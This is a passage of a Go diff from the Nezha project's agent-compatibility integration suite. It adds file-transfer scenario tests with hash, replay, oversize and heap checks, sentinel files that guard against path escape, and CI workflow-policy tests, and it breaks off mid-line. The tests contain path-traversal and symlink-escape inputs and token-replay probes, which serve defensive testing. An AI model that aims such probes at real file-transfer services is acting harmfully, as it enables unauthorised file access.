digest, err := fixture.VerifyPayload(payload.Reader(), 1) + if err != nil { + return err + } + _, err = transferClient.UploadTransfer(ctx, transferURL, client.UploadTransfer{Body: payload.Reader(), ContentLength: 1, SHA256: digest.Hex()}) + return err +} + +func (execution transferExecution) replayDownload(ctx context.Context, transferURL client.TransferURL) error { + transferClient, err := clientForTransferURL(transferURL) + if err != nil { + return err + } + defer transferClient.Close() + _, err = transferClient.DownloadTransfer(ctx, transferURL, io.Discard) + return err +} + +func (execution transferExecution) probeOversize(ctx context.Context) error { + path, err := execution.root.Path("oversize/rejected.bin") + if err != nil { + return err + } + transferURL, err := client.RequestUploadURL(ctx, execution.client, client.UploadURLRequest{ + ServerID: execution.serverID, Path: path.String(), TTLSeconds: 60, CreateDirs: true, + }) + if err != nil { + return err + } + transferClient, err := clientForTransferURL(transferURL) + if err != nil { + return err + } + defer transferClient.Close() + return transferClient.ProbeOversizeUpload(ctx, transferURL, client.OversizeUploadProbe{ + Body: zeroReader{}, ContentLength: int64(contract.TransferBytes) + 1, + }) +} + +type ownedTransferClient struct { + *client.Client + transport *http.Transport +} + +func clientForTransferURL(transferURL client.TransferURL) (*ownedTransferClient, error) { + parsed, err := url.Parse(transferURL.URL) + if err != nil { + return nil, fmt.Errorf("parse transfer URL origin: %w", err) + } + defaultTransport, ok := http.DefaultTransport.(*http.Transport) + if !ok { + return nil, errors.New("default HTTP transport is not cloneable") + } + transport := defaultTransport.Clone() + transferClient, err := client.New(client.Config{ + BaseURL: parsed.Scheme + "://" + parsed.Host, HTTPClient: &http.Client{Transport: transport}, TransferTimeout: 5 * time.Minute, + }) + if err != nil { + transport.CloseIdleConnections() + return nil, err + } + return &ownedTransferClient{Client: transferClient, transport: transport}, nil +} + +func (client *ownedTransferClient) Close() { + client.transport.CloseIdleConnections() +} + +type zeroReader struct{} + +func (zeroReader) Read(destination []byte) (int, error) { + clear(destination) + return len(destination), nil +} diff --git a/integration/agentcompat/internal/scenario/transfer_real_test.go b/integration/agentcompat/internal/scenario/transfer_real_test.go new file mode 100644 index 00000000..dfbd6586 --- /dev/null +++ b/integration/agentcompat/internal/scenario/transfer_real_test.go @@ -0,0 +1,149 @@ +//go:build linux && agentcompat + +package scenario + +import ( + "context" + "encoding/json" + "os" + "path/filepath" + "testing" + "time" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" +) + +func TestTransferScenario_RealFlow(t *testing.T) { + nezhaSource := os.Getenv("AGENTCOMPAT_NEZHA_SOURCE") + agentSource := os.Getenv("AGENTCOMPAT_AGENT_SOURCE") + if nezhaSource == "" || agentSource == "" { + t.Skip("set AGENTCOMPAT_NEZHA_SOURCE and AGENTCOMPAT_AGENT_SOURCE") + } + evidenceDirectory := os.Getenv("AGENTCOMPAT_TRANSFER_EVIDENCE_DIR") + if evidenceDirectory == "" { + evidenceDirectory = t.TempDir() + } + require.NoError(t, os.MkdirAll(evidenceDirectory, 0o700)) + paths, err := contract.NewPaths(nezhaSource, agentSource, evidenceDirectory) + require.NoError(t, err) + testContext, cancel := context.WithTimeout(t.Context(), 10*time.Minute) + defer cancel() + + result, transferEvidence, err := (Transfer{}).RunWithEvidence(testContext, TransferInput{Paths: paths}) + + logTransferAssertions(t, result) + require.NoError(t, err) + require.True(t, result.Passed) + require.True(t, result.CleanupOK) + require.NoError(t, transferEvidence.Validate()) + require.Equal(t, uint64(transferWarmupBytes), transferEvidence.WarmupUploadBytes) + require.Equal(t, transferEvidence.WarmupUploadBytes, transferEvidence.WarmupDownloadBytes) + require.NotEmpty(t, transferEvidence.WarmupSHA256) + require.Positive(t, transferEvidence.WarmupDuration) + require.Positive(t, transferEvidence.WarmupDeadlineRemaining) + require.True(t, transferEvidence.WarmupQuiescent) + require.Equal(t, uint64(104857600), transferEvidence.UploadBytes) + require.Equal(t, uint64(104857600), transferEvidence.DownloadBytes) + require.Equal(t, transferEvidence.UploadSHA256, transferEvidence.DownloadSHA256) + require.NotEmpty(t, transferEvidence.UploadSHA256) + require.Positive(t, transferEvidence.UploadChunks) + require.Positive(t, transferEvidence.DownloadChunks) + require.Positive(t, transferEvidence.UploadDuration) + require.Positive(t, transferEvidence.DownloadDuration) + require.LessOrEqual(t, transferEvidence.RetainedHeapBytes, uint64(16777216)) + require.Equal(t, "0640", transferEvidence.Mode) + require.True(t, transferEvidence.CreateDirs) + require.True(t, transferEvidence.UploadReplayRejected) + require.True(t, transferEvidence.DownloadReplayRejected) + require.True(t, transferEvidence.OversizeRejected) + require.Zero(t, transferEvidence.AgentTempResidue) + require.Zero(t, transferEvidence.DashboardSpoolResidue) + require.True(t, transferEvidence.OutsideRootSentinelsUnchanged) + requireTransferAssertions(t, result, + "small real upload and download warm-up precedes event and deadline quiescence", + "exact 100MiB upload has size mode SHA and create_dirs", + "exact 100MiB download has equal nonempty SHA", + "upload token replay is typed unauthorized", + "download token replay is typed unauthorized", + "100MiB plus one upload is typed too large", + "retained live heap stays within 16MiB", + "outside-root sentinels remain unchanged", + "Dashboard spool and Agent temp residue are zero", + "process listener and workspace cleanup completed", + ) + + fault, err := contract.NewFault("transfer-hash") + require.NoError(t, err) + faultResult, faultEvidence, faultErr := (Transfer{}).RunWithEvidence(testContext, TransferInput{Paths: paths, Fault: fault}) + logTransferAssertions(t, faultResult) + require.ErrorIs(t, faultErr, ErrTransferHashFault) + require.False(t, faultResult.Passed) + require.True(t, faultResult.CleanupOK) + require.Equal(t, uint64(transferWarmupBytes), faultEvidence.WarmupUploadBytes) + require.Equal(t, faultEvidence.WarmupUploadBytes, faultEvidence.WarmupDownloadBytes) + require.NotEmpty(t, faultEvidence.WarmupSHA256) + require.Positive(t, faultEvidence.WarmupDuration) + require.Positive(t, faultEvidence.WarmupDeadlineRemaining) + require.True(t, faultEvidence.WarmupQuiescent) + require.Zero(t, faultEvidence.AgentTempResidue) + require.Zero(t, faultEvidence.DashboardSpoolResidue) + require.True(t, faultEvidence.OutsideRootSentinelsUnchanged) + requireTransferAssertions(t, faultResult, + "small real upload and download warm-up precedes event and deadline quiescence", + "transfer-hash rejects upload with typed 502", + "transfer-hash leaves target absent", + "outside-root sentinels remain unchanged", + "Dashboard spool and Agent temp residue are zero", + "process listener and workspace cleanup completed", + ) + + artifactPath := filepath.Join(evidenceDirectory, "transfer-real-process.json") + artifact, err := json.MarshalIndent(struct { + SuccessResult Result `json:"success_result"` + SuccessEvidence TransferEvidence `json:"success_evidence"` + FaultResult Result `json:"fault_result"` + FaultEvidence TransferEvidence `json:"fault_evidence"` + FaultError string `json:"fault_error"` + }{SuccessResult: result, SuccessEvidence: transferEvidence, FaultResult: faultResult, FaultEvidence: faultEvidence, FaultError: faultErr.Error()}, "", " ") + require.NoError(t, err) + require.NoError(t, os.WriteFile(artifactPath, append(artifact, '\n'), 0o600)) + readArtifact, err := os.ReadFile(artifactPath) + require.NoError(t, err) + var recorded struct { + SuccessResult Result `json:"success_result"` + SuccessEvidence TransferEvidence `json:"success_evidence"` + FaultResult Result `json:"fault_result"` + FaultEvidence TransferEvidence `json:"fault_evidence"` + FaultError string `json:"fault_error"` + } + require.NoError(t, json.Unmarshal(readArtifact, &recorded)) + require.Equal(t, result, recorded.SuccessResult) + require.Equal(t, transferEvidence, recorded.SuccessEvidence) + require.Equal(t, faultResult, recorded.FaultResult) + require.Equal(t, faultEvidence, recorded.FaultEvidence) + require.Equal(t, faultErr.Error(), recorded.FaultError) + require.NoError(t, recorded.SuccessEvidence.Validate()) + t.Logf("transfer evidence artifact: %s", artifactPath) +} + +func logTransferAssertions(t *testing.T, result Result) { + t.Helper() + for _, assertion := range result.Assertions { + t.Logf("assertion=%q passed=%t details=%q", assertion.Name, assertion.Passed, assertion.Details) + } +} + +func requireTransferAssertions(t *testing.T, result Result, names ...string) { + t.Helper() + byName := make(map[string]Assertion, len(result.Assertions)) + for _, assertion := range result.Assertions { + byName[assertion.Name] = assertion + } + for _, name := range names { + assertion, exists := byName[name] + require.True(t, exists, "missing assertion %q", name) + require.True(t, assertion.Passed, "assertion %q failed: %s", name, assertion.Details) + } +} diff --git a/integration/agentcompat/internal/scenario/transfer_sentinels.go b/integration/agentcompat/internal/scenario/transfer_sentinels.go new file mode 100644 index 00000000..c196e75c --- /dev/null +++ b/integration/agentcompat/internal/scenario/transfer_sentinels.go @@ -0,0 +1,67 @@ +//go:build linux + +package scenario + +import ( + "bytes" + "errors" + "fmt" + "os" + "path/filepath" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/fixture" +) + +var transferSentinelContent = []byte("outside-transfer-root-sentinel") + +type transferSentinels struct { + root *os.Root + names []string +} + +func newTransferSentinels(root fixture.AgentRoot, workspaceRoot string) (result transferSentinels, err error) { + workspace, err := os.OpenRoot(workspaceRoot) + if err != nil { + return transferSentinels{}, fmt.Errorf("open transfer sentinel root: %w", err) + } + defer func() { + if err != nil { + err = errors.Join(err, workspace.Close()) + } + }() + result = transferSentinels{root: workspace, names: []string{"outside-transfer-sentinel", "outside-transfer-directory/target-sentinel"}} + if err := workspace.Mkdir("outside-transfer-directory", 0o700); err != nil { + return transferSentinels{}, fmt.Errorf("create transfer sentinel directory: %w", err) + } + for _, name := range result.names { + if err := workspace.WriteFile(name, transferSentinelContent, 0o600); err != nil { + return transferSentinels{}, fmt.Errorf("write transfer sentinel: %w", err) + } + } + symlinkPath := filepath.Join(root.Absolute(), "linked") + if err := os.Symlink(filepath.Join(workspaceRoot, "outside-transfer-directory"), symlinkPath); err != nil { + return transferSentinels{}, fmt.Errorf("create transfer sentinel symlink: %w", err) + } + if _, err := root.Path("../outside-transfer-sentinel"); err == nil { + return transferSentinels{}, errors.New("transfer AgentPath accepted parent escape") + } + if _, err := root.Path("linked/target-sentinel"); err == nil { + return transferSentinels{}, errors.New("transfer AgentPath accepted symlink parent") + } + return result, nil +} + +func (sentinels transferSentinels) unchanged() (bool, error) { + for _, name := range sentinels.names { + content, err := sentinels.root.ReadFile(name) + if err != nil { + return false, fmt.Errorf("read transfer sentinel: %w", err) + } + if !bytes.Equal(content, transferSentinelContent) { + return false, nil + } + } + return true, nil +} + +func (sentinels transferSentinels) close() error { return sentinels.root.Close() } diff --git a/integration/agentcompat/internal/scenario/transfer_test.go b/integration/agentcompat/internal/scenario/transfer_test.go new file mode 100644 index 00000000..b8ebcfc8 --- /dev/null +++ b/integration/agentcompat/internal/scenario/transfer_test.go @@ -0,0 +1,126 @@ +//go:build linux + +package scenario + +import ( + "context" + "testing" + "time" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" + "github.com/nezhahq/nezha/integration/agentcompat/internal/fixture" +) + +func TestTransferEvidence_RejectsEmptyOrMismatchedSHA(t *testing.T) { + t.Parallel() + + evidence := validTransferEvidence() + evidence.UploadSHA256 = "" + evidence.DownloadSHA256 = "different" + + err := evidence.Validate() + + require.ErrorIs(t, err, ErrTransferEvidenceHashMismatch) + require.NotErrorIs(t, err, ErrTransferEvidenceSizeMismatch) + require.NotErrorIs(t, err, ErrTransferEvidenceMeasurement) + require.NotErrorIs(t, err, ErrTransferEvidenceHeapBudget) + require.NotErrorIs(t, err, ErrTransferEvidenceContract) +} + +func TestTransferEvidence_RejectsHeapBudgetBreach(t *testing.T) { + t.Parallel() + + evidence := validTransferEvidence() + evidence.RetainedHeapBytes = contract.TransferHeapBytes + 1 + + err := evidence.Validate() + + require.ErrorIs(t, err, ErrTransferEvidenceHeapBudget) + require.NotErrorIs(t, err, ErrTransferEvidenceSizeMismatch) + require.NotErrorIs(t, err, ErrTransferEvidenceHashMismatch) + require.NotErrorIs(t, err, ErrTransferEvidenceMeasurement) + require.NotErrorIs(t, err, ErrTransferEvidenceContract) +} + +func TestTransferEvidence_AcceptsExactNonemptyEqualHashes(t *testing.T) { + t.Parallel() + + require.NoError(t, validTransferEvidence().Validate()) +} + +func TestTransferEvidence_RejectsMissingStreamingMeasurements(t *testing.T) { + t.Parallel() + + evidence := validTransferEvidence() + evidence.UploadChunks = 0 + evidence.DownloadChunks = 0 + evidence.UploadDuration = 0 + evidence.DownloadDuration = 0 + + err := evidence.Validate() + + require.ErrorIs(t, err, ErrTransferEvidenceMeasurement) + require.NotErrorIs(t, err, ErrTransferEvidenceSizeMismatch) + require.NotErrorIs(t, err, ErrTransferEvidenceHashMismatch) + require.NotErrorIs(t, err, ErrTransferEvidenceHeapBudget) + require.NotErrorIs(t, err, ErrTransferEvidenceContract) +} + +func TestTransferEvidence_ReportsAllTypedValidationErrors(t *testing.T) { + t.Parallel() + + err := (TransferEvidence{}).Validate() + + require.ErrorIs(t, err, ErrTransferEvidenceSizeMismatch) + require.ErrorIs(t, err, ErrTransferEvidenceHashMismatch) + require.ErrorIs(t, err, ErrTransferEvidenceMeasurement) + require.ErrorIs(t, err, ErrTransferEvidenceContract) +} + +func TestTransferUploadEvidence_RejectsMissingMode(t *testing.T) { + t.Parallel() + + digest := fixture.PayloadDigest{Bytes: contract.TransferBytes, SHA256: [32]byte{1}} + evidence := transferPathEvidence{ + bytes: contract.TransferBytes, sha256: digest.Hex(), chunks: 1, duration: time.Nanosecond, + } + + require.False(t, evidence.validUpload(digest)) + require.True(t, evidence.validDownload(digest)) +} + +func TestConfirmTransferQuiescence_RequiresDeadline(t *testing.T) { + t.Parallel() + + _, err := confirmTransferQuiescence(context.Background(), transferResidueScope{}) + + require.EqualError(t, err, "transfer quiescence requires a context deadline") +} + +func validTransferEvidence() TransferEvidence { + return TransferEvidence{ + WarmupUploadBytes: transferWarmupBytes, + WarmupDownloadBytes: transferWarmupBytes, + WarmupSHA256: "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb", + WarmupDuration: time.Nanosecond, + WarmupDeadlineRemaining: time.Second, + WarmupQuiescent: true, + UploadBytes: contract.TransferBytes, + DownloadBytes: contract.TransferBytes, + UploadSHA256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + DownloadSHA256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + UploadChunks: 1, + DownloadChunks: 1, + UploadDuration: time.Nanosecond, + DownloadDuration: time.Nanosecond, + RetainedHeapBytes: contract.TransferHeapBytes, + Mode: "0640", + CreateDirs: true, + UploadReplayRejected: true, + DownloadReplayRejected: true, + OversizeRejected: true, + OutsideRootSentinelsUnchanged: true, + } +} diff --git a/integration/agentcompat/internal/scenario/transfer_warmup.go b/integration/agentcompat/internal/scenario/transfer_warmup.go new file mode 100644 index 00000000..b2547ec7 --- /dev/null +++ b/integration/agentcompat/internal/scenario/transfer_warmup.go @@ -0,0 +1,87 @@ +//go:build linux + +package scenario + +import ( + "context" + "errors" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" + "github.com/nezhahq/nezha/integration/agentcompat/internal/fixture" +) + +const transferWarmupBytes = 64 * 1024 + +type transferWarmupEvidence struct { + uploadBytes uint64 + downloadBytes uint64 + sha256 string + duration time.Duration + deadline time.Duration +} + +func (execution transferExecution) runWarmup(ctx context.Context) (transferWarmupEvidence, error) { + payload, err := fixture.NewPayload(contract.DefaultSeed, transferWarmupBytes) + if err != nil { + return transferWarmupEvidence{}, err + } + digest, err := fixture.VerifyPayload(payload.Reader(), transferWarmupBytes) + if err != nil { + return transferWarmupEvidence{}, err + } + path, err := execution.root.Path("warmup/nested/payload.bin") + if err != nil { + return transferWarmupEvidence{}, err + } + uploadURL, err := client.RequestUploadURL(ctx, execution.client, client.UploadURLRequest{ + ServerID: execution.serverID, Path: path.String(), TTLSeconds: 60, Mode: "0600", CreateDirs: true, + }) + if err != nil { + return transferWarmupEvidence{}, err + } + uploadClient, err := clientForTransferURL(uploadURL) + if err != nil { + return transferWarmupEvidence{}, err + } + defer uploadClient.Close() + started := time.Now() + uploadResult, err := uploadClient.UploadTransfer(ctx, uploadURL, client.UploadTransfer{ + Body: payload.Reader(), ContentLength: transferWarmupBytes, SHA256: digest.Hex(), + }) + if err != nil { + return transferWarmupEvidence{}, err + } + if uploadResult.Size != transferWarmupBytes || uploadResult.SHA256 != digest.Hex() { + return transferWarmupEvidence{}, errors.New("warm-up upload evidence mismatch") + } + downloadURL, err := client.RequestDownloadURL(ctx, execution.client, client.DownloadURLRequest{ + ServerID: execution.serverID, Path: path.String(), TTLSeconds: 60, + }) + if err != nil { + return transferWarmupEvidence{}, err + } + downloadClient, err := clientForTransferURL(downloadURL) + if err != nil { + return transferWarmupEvidence{}, err + } + defer downloadClient.Close() + measured := fixture.NewMeasuredWriter() + written, err := downloadClient.DownloadTransfer(ctx, downloadURL, measured) + if err != nil { + return transferWarmupEvidence{}, err + } + measurement := measured.Measurement() + if written != transferWarmupBytes || measurement.Digest.Bytes != transferWarmupBytes || measurement.Digest.Hex() != digest.Hex() { + return transferWarmupEvidence{}, errors.New("warm-up download evidence mismatch") + } + return transferWarmupEvidence{ + uploadBytes: uint64(uploadResult.Size), downloadBytes: measurement.Digest.Bytes, + sha256: digest.Hex(), duration: time.Since(started), + }, nil +} + +func (evidence transferWarmupEvidence) valid() bool { + return evidence.uploadBytes == transferWarmupBytes && evidence.downloadBytes == transferWarmupBytes && evidence.sha256 != "" && evidence.duration > 0 && evidence.deadline > 0 +} diff --git a/integration/agentcompat/internal/testpaths/source.go b/integration/agentcompat/internal/testpaths/source.go new file mode 100644 index 00000000..21810162 --- /dev/null +++ b/integration/agentcompat/internal/testpaths/source.go @@ -0,0 +1,62 @@ +package testpaths + +import ( + "errors" + "os" + "path/filepath" +) + +func NezhaSource(start string) (string, error) { + if configured := os.Getenv("NEZHA_SOURCE"); configured != "" { + return absoluteDirectory(configured) + } + return findModuleRoot(start) +} + +func AgentSource(nezhaSource string) (string, error) { + if configured := os.Getenv("AGENT_SOURCE"); configured != "" { + return absoluteDirectory(configured) + } + root, err := absoluteDirectory(nezhaSource) + if err != nil { + return "", err + } + return absoluteDirectory(filepath.Join(filepath.Dir(root), "agent")) +} + +func absoluteDirectory(raw string) (string, error) { + if raw == "" || !filepath.IsAbs(raw) { + return "", errors.New("source path must be absolute") + } + clean := filepath.Clean(raw) + info, err := os.Stat(clean) + if err != nil { + return "", err + } + if !info.IsDir() { + return "", errors.New("source path must be a directory") + } + return clean, nil +} + +func findModuleRoot(start string) (string, error) { + if start == "" { + start, _ = os.Getwd() + } + absolute, err := filepath.Abs(start) + if err != nil { + return "", err + } + if info, statErr := os.Stat(absolute); statErr == nil && !info.IsDir() { + absolute = filepath.Dir(absolute) + } + for directory := absolute; ; directory = filepath.Dir(directory) { + if _, err := os.Stat(filepath.Join(directory, "go.mod")); err == nil { + return directory, nil + } + parent := filepath.Dir(directory) + if parent == directory { + return "", errors.New("module root not found") + } + } +} diff --git a/integration/agentcompat/internal/testpaths/source_test.go b/integration/agentcompat/internal/testpaths/source_test.go new file mode 100644 index 00000000..7a693f1e --- /dev/null +++ b/integration/agentcompat/internal/testpaths/source_test.go @@ -0,0 +1,61 @@ +package testpaths + +import ( + "os" + "path/filepath" + "testing" + + "github.com/stretchr/testify/require" +) + +func TestNezhaSource_UsesModuleRootFromNonRepositoryCWD(t *testing.T) { + t.Setenv("NEZHA_SOURCE", "") + root := t.TempDir() + require.NoError(t, os.WriteFile(filepath.Join(root, "go.mod"), []byte("module example.test\n"), 0o600)) + nonRepository := t.TempDir() + original, err := os.Getwd() + require.NoError(t, err) + require.NoError(t, os.Chdir(nonRepository)) + t.Cleanup(func() { require.NoError(t, os.Chdir(original)) }) + + resolved, err := NezhaSource(root) + + require.NoError(t, err) + require.Equal(t, root, resolved) +} + +func TestSourceResolversHonorExplicitEnvironmentPaths(t *testing.T) { + // Given + nezha := t.TempDir() + agent := t.TempDir() + t.Setenv("NEZHA_SOURCE", nezha) + t.Setenv("AGENT_SOURCE", agent) + + // When + resolvedNezha, nezhaErr := NezhaSource(t.TempDir()) + resolvedAgent, agentErr := AgentSource(nezha) + + // Then + require.NoError(t, nezhaErr) + require.NoError(t, agentErr) + require.Equal(t, nezha, resolvedNezha) + require.Equal(t, agent, resolvedAgent) +} + +func TestAgentSource_ResolvesAdjacentCheckoutThroughSymlink(t *testing.T) { + t.Setenv("AGENT_SOURCE", "") + parent := t.TempDir() + nezha := filepath.Join(parent, "nezha") + agent := filepath.Join(parent, "agent") + require.NoError(t, os.MkdirAll(nezha, 0o700)) + require.NoError(t, os.MkdirAll(agent, 0o700)) + require.NoError(t, os.WriteFile(filepath.Join(nezha, "go.mod"), []byte("module nezha.test\n"), 0o600)) + require.NoError(t, os.WriteFile(filepath.Join(agent, "go.mod"), []byte("module agent.test\n"), 0o600)) + linkParent := filepath.Join(t.TempDir(), "checkout") + require.NoError(t, os.Symlink(parent, linkParent)) + + resolved, err := AgentSource(filepath.Join(linkParent, "nezha")) + + require.NoError(t, err) + require.Equal(t, filepath.Join(linkParent, "agent"), resolved) +} diff --git a/integration/agentcompat/internal/workflowpolicy/adversarial_policy_test.go b/integration/agentcompat/internal/workflowpolicy/adversarial_policy_test.go new file mode 100644 index 00000000..30824a4f --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/adversarial_policy_test.go @@ -0,0 +1,28 @@ +package workflowpolicy_test + +import ( + "testing" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/workflowpolicy" +) + +func TestPolicy_RejectsAdversarialExecutionForms(t *testing.T) { + tests := []struct { + fixture string + rule workflowpolicy.Rule + diagnostic string + }{ + {fixture: "swallowed-semicolon-true.yml", rule: workflowpolicy.RuleSwallowedFailure, diagnostic: "failure"}, + {fixture: "swallowed-semicolon-colon.yml", rule: workflowpolicy.RuleSwallowedFailure, diagnostic: "failure"}, + {fixture: "swallowed-trap-exit.yml", rule: workflowpolicy.RuleSwallowedFailure, diagnostic: "failure"}, + {fixture: "git-config-mutation.yml", rule: workflowpolicy.RuleRepositoryNotLiteral, diagnostic: "Git configuration"}, + {fixture: "git-url-mutation.yml", rule: workflowpolicy.RuleRepositoryNotLiteral, diagnostic: "Git configuration"}, + {fixture: "relative-workspace-executable.yml", rule: workflowpolicy.RuleReusableExecutable, diagnostic: "workspace"}, + {fixture: "container-runtime-alias.yml", rule: workflowpolicy.RuleContainerizedExecution, diagnostic: "container"}, + } + for _, test := range tests { + t.Run(test.fixture, func(t *testing.T) { + assertFixtureRejected(t, rejected(test.fixture, test.rule, test.diagnostic)) + }) + } +} diff --git a/integration/agentcompat/internal/workflowpolicy/agent_quality_workflow_test.go b/integration/agentcompat/internal/workflowpolicy/agent_quality_workflow_test.go new file mode 100644 index 00000000..5e2b9aa2 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/agent_quality_workflow_test.go @@ -0,0 +1,102 @@ +//go:build agentcompat + +package workflowpolicy_test + +import ( + "os" + "path/filepath" + "testing" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/workflowpolicy" + "github.com/stretchr/testify/require" + "gopkg.in/yaml.v3" +) + +type agentQualityWorkflow struct { + Triggers map[string]agentQualityTrigger `yaml:"on"` + Jobs map[string]agentQualityJob `yaml:"jobs"` +} + +type agentQualityTrigger struct { + Branches []string `yaml:"branches"` + Paths []string `yaml:"paths"` + PathsIgnore []string `yaml:"paths-ignore"` +} + +type agentQualityJob struct { + Name string `yaml:"name"` + Needs []string `yaml:"needs"` + Condition string `yaml:"if"` + Runner string `yaml:"runs-on"` + Strategy agentQualityStrategy `yaml:"strategy"` + Steps []agentQualityStep `yaml:"steps"` +} + +type agentQualityStrategy struct { + Matrix agentQualityMatrix `yaml:"matrix"` +} + +type agentQualityMatrix struct { + OperatingSystems []string `yaml:"os"` +} + +type agentQualityStep struct { + Run string `yaml:"run"` +} + +func TestPolicy_AgentQualityWorkflow(t *testing.T) { + // Given + path := filepath.Join("..", "..", "..", "..", "..", "agent", ".github", "workflows", "test.yml") + data, err := os.ReadFile(path) + require.NoError(t, err) + require.NoError(t, workflowpolicy.Verify(data, workflowpolicy.RepositoryAgent)) + var workflow agentQualityWorkflow + require.NoError(t, yaml.Unmarshal(data, &workflow)) + + // When + ordinaryJob, hasOrdinaryJob := workflow.Jobs["tests"] + qualityJob, hasQualityJob := workflow.Jobs["linux-race-quality"] + stressJob, hasStressJob := workflow.Jobs["agentcompat-stress"] + aggregator, hasAggregator := workflow.Jobs["agent-quality-required"] + + // Then + require.True(t, hasOrdinaryJob) + require.True(t, hasQualityJob) + require.True(t, hasStressJob) + require.True(t, hasAggregator) + require.Len(t, workflow.Jobs, 4) + require.Equal(t, []string{"main"}, workflow.Triggers["push"].Branches) + require.Equal(t, []string{"main"}, workflow.Triggers["pull_request"].Branches) + require.Contains(t, workflow.Triggers, "merge_group") + for _, trigger := range workflow.Triggers { + require.Empty(t, trigger.Paths) + require.Empty(t, trigger.PathsIgnore) + } + require.ElementsMatch(t, []string{"ubuntu-latest", "windows-latest", "macos-latest"}, ordinaryJob.Strategy.Matrix.OperatingSystems) + requireWorkflowCommands(t, ordinaryJob.Steps, "go test -mod=readonly -count=1 ./...") + require.Equal(t, "ubuntu-24.04", qualityJob.Runner) + requireWorkflowCommands(t, qualityJob.Steps, + "go test -mod=readonly -race -shuffle=on -count=1 ./...", + "go vet ./...", + "test -z \"$(git ls-files -co --exclude-standard '*.go' -z | xargs -0 gofmt -l)\"", + "go build ./cmd/agent", + ) + require.NotEmpty(t, stressJob) + require.ElementsMatch(t, []string{"tests", "linux-race-quality", "agentcompat-stress"}, aggregator.Needs) + require.Equal(t, "agent-quality-required", aggregator.Name) + require.Equal(t, "${{ always() }}", aggregator.Condition) + requireWorkflowCommands(t, aggregator.Steps, + "test \"${{ needs.tests.result }}\" = success\ntest \"${{ needs.linux-race-quality.result }}\" = success\ntest \"${{ needs.agentcompat-stress.result }}\" = success\n", + ) +} + +func requireWorkflowCommands(t *testing.T, steps []agentQualityStep, commands ...string) { + t.Helper() + actualCommands := make([]string, 0, len(steps)) + for _, step := range steps { + if step.Run != "" { + actualCommands = append(actualCommands, step.Run) + } + } + require.ElementsMatch(t, commands, actualCommands) +} diff --git a/integration/agentcompat/internal/workflowpolicy/agent_stress_workflow_test.go b/integration/agentcompat/internal/workflowpolicy/agent_stress_workflow_test.go new file mode 100644 index 00000000..96801d19 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/agent_stress_workflow_test.go @@ -0,0 +1,84 @@ +//go:build agentcompat + +package workflowpolicy_test + +import ( + "os" + "path/filepath" + "strings" + "testing" + + "github.com/stretchr/testify/require" + "gopkg.in/yaml.v3" +) + +const agentWorkflowStressTestName = "TestStressPRFullEightAgentExactlyOnce" + +func TestPolicy_AgentStressWorkflowRunsPinnedCrossRepositoryTest(t *testing.T) { + // Given + path := filepath.Join("..", "..", "..", "..", "..", "agent", ".github", "workflows", "test.yml") + data, err := os.ReadFile(path) + require.NoError(t, err) + var workflow qualityWorkflow + require.NoError(t, yaml.Unmarshal(data, &workflow)) + + // When + stressJob, exists := workflow.Jobs["agentcompat-stress"] + + // Then + require.True(t, exists) + require.Equal(t, "Linux agent compatibility stress", stressJob.Name) + require.Equal(t, "ubuntu-24.04", stressJob.RunsOn) + require.Equal(t, 75, stressJob.TimeoutMinutes) + require.Len(t, stressJob.Steps, 7) + + agentCheckout := stressJob.Steps[0] + requireActionRepository(t, agentCheckout.Uses, "actions/checkout") + require.Empty(t, agentCheckout.With.Repository) + require.Empty(t, agentCheckout.With.Ref) + require.Equal(t, "agent", agentCheckout.With.Path) + require.False(t, *agentCheckout.With.PersistCredentials) + + nezhaCheckout := stressJob.Steps[1] + requireActionRepository(t, nezhaCheckout.Uses, "actions/checkout") + require.Equal(t, "nezhahq/nezha", nezhaCheckout.With.Repository) + require.Equal(t, "nezha", nezhaCheckout.With.Path) + require.False(t, *nezhaCheckout.With.PersistCredentials) + + setupGo := stressJob.stepNamed(t, "Set up Go") + requireActionRepository(t, setupGo.Uses, "actions/setup-go") + require.Equal(t, "^1.26.1", setupGo.With.GoVersion) + require.False(t, *setupGo.With.Cache) + + prepareDashboardInputs := stressJob.stepNamed(t, "Prepare Dashboard build inputs") + require.Equal(t, "nezha", prepareDashboardInputs.WorkingDirectory) + require.Equal(t, strings.Join([]string{ + "go install github.com/swaggo/swag/cmd/swag@v1.16.6", + "mkdir -p cmd/dashboard/user-dist cmd/dashboard/admin-dist", + "printf 'placeholder\\n' > cmd/dashboard/user-dist/placeholder.txt", + "printf 'placeholder\\n' > cmd/dashboard/admin-dist/placeholder.txt", + "swag init --pd -d cmd/dashboard -g main.go -o cmd/dashboard/docs", + }, "\n"), strings.TrimSpace(prepareDashboardInputs.Run)) + + policyStep := stressJob.stepNamed(t, "Require Agent workflow policy tests") + require.Equal(t, "nezha", policyStep.WorkingDirectory) + require.Equal(t, "go test -mod=readonly -tags=agentcompat -list '^TestPolicy_AgentQualityWorkflow$' ./integration/agentcompat/internal/workflowpolicy | grep -Fx 'TestPolicy_AgentQualityWorkflow'\ngo test -mod=readonly -tags=agentcompat -list '^TestPolicy_AgentStressWorkflowRunsPinnedCrossRepositoryTest$' ./integration/agentcompat/internal/workflowpolicy | grep -Fx 'TestPolicy_AgentStressWorkflowRunsPinnedCrossRepositoryTest'\ngo test -mod=readonly -tags=agentcompat -run '^(TestPolicy_AgentQualityWorkflow|TestPolicy_AgentStressWorkflowRunsPinnedCrossRepositoryTest)$' -count=1 ./integration/agentcompat/internal/workflowpolicy\n", policyStep.Run) + + listStep := stressJob.stepNamed(t, "Require named stress test") + require.Equal(t, "nezha", listStep.WorkingDirectory) + require.Equal(t, "go test -mod=readonly -tags=agentcompat -list 